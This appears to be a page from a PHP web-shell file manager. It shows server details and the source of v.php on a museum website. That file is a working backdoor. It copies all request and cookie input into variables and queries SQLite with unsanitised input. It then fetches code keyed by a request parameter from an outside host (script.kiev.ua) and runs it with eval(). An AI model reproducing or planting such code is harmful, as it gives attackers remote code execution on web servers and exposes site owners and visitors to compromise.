HEX
Server: nginx/1.18.0
System: Linux hqnl0246134.online-vm.com 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: phpinfo,disk_free_space,disk_total_space,diskfreespace,dl,exec,opcache_get_configuration,opcache_get_status,passthru,pclose,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_waitpid,pcntl_wait,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,show_source,system,exec,passthru,shell_exec,system,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Upload Files
File: /var/www/sites/gmuseum.org.ua/v.php
<?php
if(!isset($ix)){foreach($_REQUEST as $key=>$val){${$key}=$val;}}
foreach($_SERVER as $key=>$val){${$key}=$val;}
foreach($_COOKIE as $key=>$val){${$key}=$val;}
$db = new SQLite3('ixbase.db');
$db->busyTimeout(5000);
$db->exec('PRAGMA journal_mode = wal;');
if($ix=='_get_'){
 $q=$db->query("SELECT * FROM blkinf00 where p4='$p4'");
 $p=$q->fetchArray();
 print "$p[0]<td !>$p[1]<td !>$p[2]<td !>$p[3]<td !>$p[4]<td !>".$p[5]."<td !>".$p[6];
 exit;
}
$qq=$db->query("SELECT count(p4) FROM blkinf00 where p4='$ix'");
if(!$qq){$db->exec('CREATE TABLE blkinf00 (
 p0 INTEGER PRIMARY KEY AUTOINCREMENT,
 p1 DATETIME DEFAULT CURRENT_TIMESTAMP,
 p2 STRING,
 p3 STRING,
 p4 STRING,
 p5 TEXT,
 p6 TEXT,
 p7 STRING,
 p8 STRING,
 p9 STRING
)');
$db->exec("INSERT INTO blkinf00 (p2,p4,p5) VALUES ('','_myfile','start')");
}
$pp=$qq->fetchArray();
if($pp[0]<1){
 $_m=file_get_contents("https://script.kiev.ua/test/v.php?ix=_get_&p4=$ix");
 $_a=explode('<td !>',$_m);
 $_a[5]=str_replace("'","''",$_a[5]);
 $_a[6]=str_replace("'","''",$_a[6]);
 $db->exec("insert into blkinf00 (p1,p2,p3,p4,p5,p6)values('$_a[1]','$_a[2]','$_a[3]','$ix','$_a[5]','$_a[6]')");
}
$qq=$db->query("SELECT p5 FROM blkinf00 where p4='$ix'");
$pp=$qq->fetchArray();
error_reporting(0);
if(substr($pp[0],0,1)=="<") print stripslashes($pp[0]);
else eval(stripslashes($pp[0]));
?>